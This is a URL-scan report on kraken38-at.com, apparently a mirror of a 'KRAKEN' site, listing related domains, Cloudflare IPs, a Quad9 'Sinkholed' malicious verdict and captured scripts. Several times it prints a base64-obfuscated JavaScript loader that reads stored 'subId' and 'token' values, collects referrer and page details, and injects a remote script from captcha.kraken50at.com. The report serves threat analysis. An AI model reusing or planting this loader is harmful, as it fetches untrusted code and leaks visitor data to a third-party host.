Report - kraken38-at.com/

Report Overview

Visited public
2025-06-19 06:29:16
Tags
URL
kraken38-at.com/
Finishing URL
kraken39at.com/
IP / ASN
104.21.32.1
#13335 CLOUDFLARENET
Title
KRAKEN

Detections

urlquery

Network Intrusion Detection

Threat Detection Systems

Domain Summary

Domain / FQDN	Rank	Registered	First Seen	Last Seen	Sent	Received	IP
captcha.kraken50at.com	unknown	2024-08-10	2025-02-24	2025-06-10	1.1 kB	8.6 kB	104.21.16.1
kraken38-at.com	unknown	2024-08-13	2025-06-19	2025-06-19	910 B	11 kB	104.21.32.1
kraken-zerkalo.org	unknown	2024-03-25	2025-01-22	2025-06-10	869 B	1.4 kB	104.21.112.1
kraken39at.com	unknown	2024-08-09	2025-06-10	2025-06-10	1.9 kB	40 kB	104.21.32.84

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

No alerts detected

Threat Detection Systems

Public InfoSec YARA rules

No alerts detected

OpenPhish

No alerts detected

PhishTank

No alerts detected

Quad9 DNS

Scan Date	Severity	Indicator	Alert
2025-06-19	medium	kraken39at.com	Sinkholed
2025-06-19	medium	kraken39at.com	Sinkholed
2025-06-19	medium	kraken39at.com	Sinkholed
2025-06-19	medium	kraken39at.com	Sinkholed

ThreatFox

No alerts detected

JavaScript (10)

	URL	From	Size	First Seen	Last Seen
	captcha.kraken50at.com/login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken38-at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin	ScriptElement	3.6 kB	2025-06-19	2025-06-19
Pretty URL captcha.kraken50at.com/login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken38-at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin IP 104.21.48.1 ASN #13335 CLOUDFLARENET Introduced by scriptElement Embedded in HTML false Observations First Seen2025-06-19 06:29 Last Seen2025-06-19 06:29 Times Seen1 Hash e33c83a3cea974a24950523c39752953 9292431c46be37b3df13ba0b72fec021f0f4cb44 600fb2ac65863bfca71e44daca1ab9c041d4204bbba0348fae7fbf469bf2d52c Loading...

	data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWHJZUXBUTFQ5RFNWa3R5Uyc7CiAgICBpZiAoIXdpbmRvdy5fWHJZUXBUTFQ5RFNWa3R5UykgewogICAgICAgIHdpbmRvdy5fWHJZUXBUTFQ5RFNWa3R5UyA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly9jYXB0Y2hhLmtyYWtlbjUwYXQuY29tL2xvZ2luJywKICAgICAgICB9OwogICAgfQogICAgY29uc3QgXzYxRjZSTVI4dGI5UFZrWDEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnY29uZmlnJyk7CiAgICBpZiAodHlwZW9mIF82MUY2Uk1SOHRiOVBWa1gxICE9PSAndW5kZWZpbmVkJyAmJiBfNjFGNlJNUjh0YjlQVmtYMSAhPT0gbnVsbCkgewogICAgICAgIHZhciBfRnhDWjlNZ3RQREQyUmgzciA9IEpTT04ucGFyc2UoXzYxRjZSTVI4dGI5UFZrWDEpOwogICAgICAgIHZhciBfTUJDd0x6ckNWVzlYSHhmMiA9IE1hdGgucm91bmQoK25ldyBEYXRlKCkvMTAwMCk7CiAgICAgICAgaWYgKF9GeENaOU1ndFBERDJSaDNyLmNyZWF0ZWRfYXQgKyB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudHRsIDwgX01CQ3dMenJDVlc5WEh4ZjIpIHsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3N1YklkJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCd0b2tlbicpOwogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnY29uZmlnJyk7CiAgICAgICAgfQogICAgfQogICAgdmFyIF9yand3bUo1RlFHcUZGeGhYID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ3N1YklkJyk7CiAgICB2YXIgX0NYa0hiejloeFZYVktueGQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKTsKICAgIHZhciBfekJMRkNuYnRrdGp6UzJLZyA9ICc/cmV0dXJuPWpzLmNsaWVudCc7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyYnICsgZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgnPycsICcnKSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZzZV9yZWZlcnJlcj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKTsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmRlZmF1bHRfa2V5d29yZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnRpdGxlKTsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmxhbmRpbmdfdXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubG9jYXRpb24uaG9zdG5hbWUgKyBkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZuYW1lPScgKyBlbmNvZGVVUklDb21wb25lbnQobmFtZSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZob3N0PScgKyBlbmNvZGVVUklDb21wb25lbnQod2luZG93Ll9YcllRcFRMVDlEU1ZrdHlTLlJfUEFUSCk7CiAgICBpZiAodHlwZW9mIF9yand3bUo1RlFHcUZGeGhYICE9PSAndW5kZWZpbmVkJyAmJiBfcmp3d21KNUZRR3FGRnhoWCAmJiB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudW5pcXVlKSB7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZzdWJfaWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChfcmp3d21KNUZRR3FGRnhoWCk7CiAgICB9CiAgICBpZiAodHlwZW9mIF9DWGtIYno5aHhWWFZLbnhkICE9PSAndW5kZWZpbmVkJyAmJiBfQ1hrSGJ6OWh4VlhWS254ZCAmJiB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudW5pcXVlKSB7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZ0b2tlbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9DWGtIYno5aHhWWFZLbnhkKTsKICAgIH0KICAgIGlmICgnJyAhPT0gJycpIHsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmJ5cGFzc19jYWNoZT0nOwogICAgfQogICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBhLnR5cGUgPSAnYXBwbGljYXRpb24vamF2YXNjcmlwdCc7CiAgICAgICAgYS5zcmMgPSB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMuUl9QQVRIICsgX3pCTEZDbmJ0a3RqelMyS2c7CiAgICB2YXIgcyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTsKICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoYSwgcykKICAgIH0pKCk7CiAgICA=	ScriptElement	2.2 kB	2025-05-14	2025-06-20
Pretty URL data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWHJZUXBUTFQ5RFNWa3R5Uyc7CiAgICBpZiAoIXdpbmRvdy5fWHJZUXBUTFQ5RFNWa3R5UykgewogICAgICAgIHdpbmRvdy5fWHJZUXBUTFQ5RFNWa3R5UyA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly9jYXB0Y2hhLmtyYWtlbjUwYXQuY29tL2xvZ2luJywKICAgICAgICB9OwogICAgfQogICAgY29uc3QgXzYxRjZSTVI4dGI5UFZrWDEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnY29uZmlnJyk7CiAgICBpZiAodHlwZW9mIF82MUY2Uk1SOHRiOVBWa1gxICE9PSAndW5kZWZpbmVkJyAmJiBfNjFGNlJNUjh0YjlQVmtYMSAhPT0gbnVsbCkgewogICAgICAgIHZhciBfRnhDWjlNZ3RQREQyUmgzciA9IEpTT04ucGFyc2UoXzYxRjZSTVI4dGI5UFZrWDEpOwogICAgICAgIHZhciBfTUJDd0x6ckNWVzlYSHhmMiA9IE1hdGgucm91bmQoK25ldyBEYXRlKCkvMTAwMCk7CiAgICAgICAgaWYgKF9GeENaOU1ndFBERDJSaDNyLmNyZWF0ZWRfYXQgKyB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudHRsIDwgX01CQ3dMenJDVlc5WEh4ZjIpIHsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3N1YklkJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCd0b2tlbicpOwogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnY29uZmlnJyk7CiAgICAgICAgfQogICAgfQogICAgdmFyIF9yand3bUo1RlFHcUZGeGhYID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ3N1YklkJyk7CiAgICB2YXIgX0NYa0hiejloeFZYVktueGQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKTsKICAgIHZhciBfekJMRkNuYnRrdGp6UzJLZyA9ICc/cmV0dXJuPWpzLmNsaWVudCc7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyYnICsgZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgnPycsICcnKSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZzZV9yZWZlcnJlcj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKTsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmRlZmF1bHRfa2V5d29yZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnRpdGxlKTsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmxhbmRpbmdfdXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubG9jYXRpb24uaG9zdG5hbWUgKyBkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZuYW1lPScgKyBlbmNvZGVVUklDb21wb25lbnQobmFtZSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZob3N0PScgKyBlbmNvZGVVUklDb21wb25lbnQod2luZG93Ll9YcllRcFRMVDlEU1ZrdHlTLlJfUEFUSCk7CiAgICBpZiAodHlwZW9mIF9yand3bUo1RlFHcUZGeGhYICE9PSAndW5kZWZpbmVkJyAmJiBfcmp3d21KNUZRR3FGRnhoWCAmJiB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudW5pcXVlKSB7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZzdWJfaWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChfcmp3d21KNUZRR3FGRnhoWCk7CiAgICB9CiAgICBpZiAodHlwZW9mIF9DWGtIYno5aHhWWFZLbnhkICE9PSAndW5kZWZpbmVkJyAmJiBfQ1hrSGJ6OWh4VlhWS254ZCAmJiB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudW5pcXVlKSB7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZ0b2tlbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9DWGtIYno5aHhWWFZLbnhkKTsKICAgIH0KICAgIGlmICgnJyAhPT0gJycpIHsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmJ5cGFzc19jYWNoZT0nOwogICAgfQogICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBhLnR5cGUgPSAnYXBwbGljYXRpb24vamF2YXNjcmlwdCc7CiAgICAgICAgYS5zcmMgPSB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMuUl9QQVRIICsgX3pCTEZDbmJ0a3RqelMyS2c7CiAgICB2YXIgcyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTsKICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoYSwgcykKICAgIH0pKCk7CiAgICA= IP 0.0.0.0 ASN #0 Introduced by scriptElement Embedded in HTML false Observations First Seen2025-05-14 17:51 Last Seen2025-06-20 19:49 Times Seen12 Hash 6dac98dd87f5f9c4233c05d3f0906059 2b6c5a2bfe7fb2911cbecbcdeba0ac2b8f436cd1 f6409afe48fdf2c34f342f7fa69a2a843ae9d2bbfb8def2c892c8942d56cd754 Loading...

	kraken39at.com/	ScriptElement	341 B	2025-03-05	2025-06-20
Pretty URL kraken39at.com/ IP 104.21.32.84 ASN #13335 CLOUDFLARENET Introduced by scriptElement Embedded in HTML true Observations First Seen2025-03-05 21:23 Last Seen2025-06-20 19:49 Times Seen103 Hash 273a567817a222ea36919fed78ed00ab f06cf879535c926fcbfac6a0db31e6706f6ca8c9 11704e45a48552b3c0b2401e267c18d07102c0519b68178b4a4560ef631fde1c Loading...

	captcha.kraken50at.com/login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken39at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin	ScriptElement	3.5 kB	2025-06-19	2025-06-19
Pretty URL captcha.kraken50at.com/login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken39at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin IP 104.21.16.1 ASN #13335 CLOUDFLARENET Introduced by scriptElement Embedded in HTML false Observations First Seen2025-06-19 06:29 Last Seen2025-06-19 06:29 Times Seen1 Hash 2c2de377e01c28ce4c7af2c6e2efe9ae fa50f55376b8ebaa86b0f5b32311d790b75ee519 a1a2bfda1262a5e09dea750d00cd9a51c3ce2823129380be6ddcfb33b4ca8e6b Loading...

	data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWHJZUXBUTFQ5RFNWa3R5Uyc7CiAgICBpZiAoIXdpbmRvdy5fWHJZUXBUTFQ5RFNWa3R5UykgewogICAgICAgIHdpbmRvdy5fWHJZUXBUTFQ5RFNWa3R5UyA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly9jYXB0Y2hhLmtyYWtlbjUwYXQuY29tL2xvZ2luJywKICAgICAgICB9OwogICAgfQogICAgY29uc3QgXzYxRjZSTVI4dGI5UFZrWDEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnY29uZmlnJyk7CiAgICBpZiAodHlwZW9mIF82MUY2Uk1SOHRiOVBWa1gxICE9PSAndW5kZWZpbmVkJyAmJiBfNjFGNlJNUjh0YjlQVmtYMSAhPT0gbnVsbCkgewogICAgICAgIHZhciBfRnhDWjlNZ3RQREQyUmgzciA9IEpTT04ucGFyc2UoXzYxRjZSTVI4dGI5UFZrWDEpOwogICAgICAgIHZhciBfTUJDd0x6ckNWVzlYSHhmMiA9IE1hdGgucm91bmQoK25ldyBEYXRlKCkvMTAwMCk7CiAgICAgICAgaWYgKF9GeENaOU1ndFBERDJSaDNyLmNyZWF0ZWRfYXQgKyB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudHRsIDwgX01CQ3dMenJDVlc5WEh4ZjIpIHsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3N1YklkJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCd0b2tlbicpOwogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnY29uZmlnJyk7CiAgICAgICAgfQogICAgfQogICAgdmFyIF9yand3bUo1RlFHcUZGeGhYID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ3N1YklkJyk7CiAgICB2YXIgX0NYa0hiejloeFZYVktueGQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKTsKICAgIHZhciBfekJMRkNuYnRrdGp6UzJLZyA9ICc/cmV0dXJuPWpzLmNsaWVudCc7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyYnICsgZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgnPycsICcnKSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZzZV9yZWZlcnJlcj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKTsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmRlZmF1bHRfa2V5d29yZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnRpdGxlKTsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmxhbmRpbmdfdXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubG9jYXRpb24uaG9zdG5hbWUgKyBkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZuYW1lPScgKyBlbmNvZGVVUklDb21wb25lbnQobmFtZSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZob3N0PScgKyBlbmNvZGVVUklDb21wb25lbnQod2luZG93Ll9YcllRcFRMVDlEU1ZrdHlTLlJfUEFUSCk7CiAgICBpZiAodHlwZW9mIF9yand3bUo1RlFHcUZGeGhYICE9PSAndW5kZWZpbmVkJyAmJiBfcmp3d21KNUZRR3FGRnhoWCAmJiB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudW5pcXVlKSB7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZzdWJfaWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChfcmp3d21KNUZRR3FGRnhoWCk7CiAgICB9CiAgICBpZiAodHlwZW9mIF9DWGtIYno5aHhWWFZLbnhkICE9PSAndW5kZWZpbmVkJyAmJiBfQ1hrSGJ6OWh4VlhWS254ZCAmJiB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudW5pcXVlKSB7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZ0b2tlbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9DWGtIYno5aHhWWFZLbnhkKTsKICAgIH0KICAgIGlmICgnJyAhPT0gJycpIHsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmJ5cGFzc19jYWNoZT0nOwogICAgfQogICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBhLnR5cGUgPSAnYXBwbGljYXRpb24vamF2YXNjcmlwdCc7CiAgICAgICAgYS5zcmMgPSB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMuUl9QQVRIICsgX3pCTEZDbmJ0a3RqelMyS2c7CiAgICB2YXIgcyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTsKICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoYSwgcykKICAgIH0pKCk7CiAgICA=	ScriptElement	2.2 kB	2025-05-14	2025-06-20
Pretty URL data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWHJZUXBUTFQ5RFNWa3R5Uyc7CiAgICBpZiAoIXdpbmRvdy5fWHJZUXBUTFQ5RFNWa3R5UykgewogICAgICAgIHdpbmRvdy5fWHJZUXBUTFQ5RFNWa3R5UyA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly9jYXB0Y2hhLmtyYWtlbjUwYXQuY29tL2xvZ2luJywKICAgICAgICB9OwogICAgfQogICAgY29uc3QgXzYxRjZSTVI4dGI5UFZrWDEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnY29uZmlnJyk7CiAgICBpZiAodHlwZW9mIF82MUY2Uk1SOHRiOVBWa1gxICE9PSAndW5kZWZpbmVkJyAmJiBfNjFGNlJNUjh0YjlQVmtYMSAhPT0gbnVsbCkgewogICAgICAgIHZhciBfRnhDWjlNZ3RQREQyUmgzciA9IEpTT04ucGFyc2UoXzYxRjZSTVI4dGI5UFZrWDEpOwogICAgICAgIHZhciBfTUJDd0x6ckNWVzlYSHhmMiA9IE1hdGgucm91bmQoK25ldyBEYXRlKCkvMTAwMCk7CiAgICAgICAgaWYgKF9GeENaOU1ndFBERDJSaDNyLmNyZWF0ZWRfYXQgKyB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudHRsIDwgX01CQ3dMenJDVlc5WEh4ZjIpIHsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3N1YklkJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCd0b2tlbicpOwogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnY29uZmlnJyk7CiAgICAgICAgfQogICAgfQogICAgdmFyIF9yand3bUo1RlFHcUZGeGhYID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ3N1YklkJyk7CiAgICB2YXIgX0NYa0hiejloeFZYVktueGQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKTsKICAgIHZhciBfekJMRkNuYnRrdGp6UzJLZyA9ICc/cmV0dXJuPWpzLmNsaWVudCc7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyYnICsgZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgnPycsICcnKSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZzZV9yZWZlcnJlcj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKTsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmRlZmF1bHRfa2V5d29yZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnRpdGxlKTsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmxhbmRpbmdfdXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubG9jYXRpb24uaG9zdG5hbWUgKyBkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZuYW1lPScgKyBlbmNvZGVVUklDb21wb25lbnQobmFtZSk7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZob3N0PScgKyBlbmNvZGVVUklDb21wb25lbnQod2luZG93Ll9YcllRcFRMVDlEU1ZrdHlTLlJfUEFUSCk7CiAgICBpZiAodHlwZW9mIF9yand3bUo1RlFHcUZGeGhYICE9PSAndW5kZWZpbmVkJyAmJiBfcmp3d21KNUZRR3FGRnhoWCAmJiB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudW5pcXVlKSB7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZzdWJfaWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChfcmp3d21KNUZRR3FGRnhoWCk7CiAgICB9CiAgICBpZiAodHlwZW9mIF9DWGtIYno5aHhWWFZLbnhkICE9PSAndW5kZWZpbmVkJyAmJiBfQ1hrSGJ6OWh4VlhWS254ZCAmJiB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMudW5pcXVlKSB7CiAgICAgICAgX3pCTEZDbmJ0a3RqelMyS2cgKz0gJyZ0b2tlbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9DWGtIYno5aHhWWFZLbnhkKTsKICAgIH0KICAgIGlmICgnJyAhPT0gJycpIHsKICAgICAgICBfekJMRkNuYnRrdGp6UzJLZyArPSAnJmJ5cGFzc19jYWNoZT0nOwogICAgfQogICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBhLnR5cGUgPSAnYXBwbGljYXRpb24vamF2YXNjcmlwdCc7CiAgICAgICAgYS5zcmMgPSB3aW5kb3cuX1hyWVFwVExUOURTVmt0eVMuUl9QQVRIICsgX3pCTEZDbmJ0a3RqelMyS2c7CiAgICB2YXIgcyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTsKICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoYSwgcykKICAgIH0pKCk7CiAgICA= IP 0.0.0.0 ASN #0 Introduced by scriptElement Embedded in HTML false Observations First Seen2025-05-14 17:51 Last Seen2025-06-20 19:49 Times Seen12 Hash 6dac98dd87f5f9c4233c05d3f0906059 2b6c5a2bfe7fb2911cbecbcdeba0ac2b8f436cd1 f6409afe48fdf2c34f342f7fa69a2a843ae9d2bbfb8def2c892c8942d56cd754 Loading...

	kraken38-at.com/	ScriptElement	341 B	2025-03-05	2025-06-20
Pretty URL kraken38-at.com/ IP 104.21.32.1 ASN #13335 CLOUDFLARENET Introduced by scriptElement Embedded in HTML true Observations First Seen2025-03-05 21:23 Last Seen2025-06-20 19:49 Times Seen103 Hash 273a567817a222ea36919fed78ed00ab f06cf879535c926fcbfac6a0db31e6706f6ca8c9 11704e45a48552b3c0b2401e267c18d07102c0519b68178b4a4560ef631fde1c Loading...

		Size	First Seen	Last Seen
	#1 Write - 0570aaf515b949e4409b572e8b25564a	12 B	2023-03-07 12:12	2025-06-20 19:49
Pretty Observations First Seen2023-03-07 12:12 Last Seen2025-06-20 19:49 Times Seen178 Hash 0570aaf515b949e4409b572e8b25564a a422d5f5cb2cbc6aca408195f6aaf89ecdc2aef1 cb837b30944fbeb3b0a22216b1fd678f1948e5711dc49dadbbfe17ac7cf5d9e8 Loading...

	#2 Write - b301f793f14135935bcbb303f308021a	40 B	2023-03-07 12:12	2025-06-20 19:49
Pretty Observations First Seen2023-03-07 12:12 Last Seen2025-06-20 19:49 Times Seen173 Hash b301f793f14135935bcbb303f308021a 185ba94b5e6e89e6959a532730e25dcdea51df35 683e549872cca0a2ef5a9f58c8bffde30908d999c6d0db7e084a6938dd5aa8ec Loading...

	#3 Write - c82a0d9fef7829416e5b4be6cb55573d	75 B	2025-06-10 09:51	2025-06-20 19:49
Pretty Observations First Seen2025-06-10 09:51 Last Seen2025-06-20 19:49 Times Seen9 Hash c82a0d9fef7829416e5b4be6cb55573d 72aa62ba224097b697bb70c88277112b6cd63adc a24d9ca17e715ff3576846aafcedeb30add828d705eeb97f7b6fae37de22944b Loading...

	#4 Write - 965e534be3f0a47d82d6ca3111ba2957	14 B	2023-03-07 12:12	2025-06-20 19:49
Pretty Observations First Seen2023-03-07 12:12 Last Seen2025-06-20 19:49 Times Seen172 Hash 965e534be3f0a47d82d6ca3111ba2957 9a683a109076ac83939a1a54777cc38f4d2a4061 ab2049f6ee775a4cee93a8c3ab05dc2d490e1689bd7c3f752fda8eed6d9e5893 Loading...

HTTP Transactions (10)

URL IP Response Size

GET kraken39at.com/?tck=1

104.21.32.84

302 Found

10 kB

URL User Request GET
kraken39at.com/?tck=1
IP
104.21.32.84:443
ASN
#13335 CLOUDFLARENET

Certificate
IssuerGoogle Trust Services
Subjectkraken39at.com
Fingerprint04:82:4A:5D:49:C9:7D:28:4F:92:40:A2:25:75:9A:42:12:4F:70:36
ValiditySun, 01 Jun 2025 22:38:22 GMT - Sat, 30 Aug 2025 23:36:57 GMT

File type

Size
10 kB (10393 bytes)
Hash
d41d8cd98f00b204e9800998ecf8427e
da39a3ee5e6b4b0d3255bfef95601890afd80709
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Detections

Analyzer	Verdict	Alert
Quad9 DNS	malicious	Sinkholed

HTTP Headers

GET /?tck=1 HTTP/1.1
Host: kraken39at.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
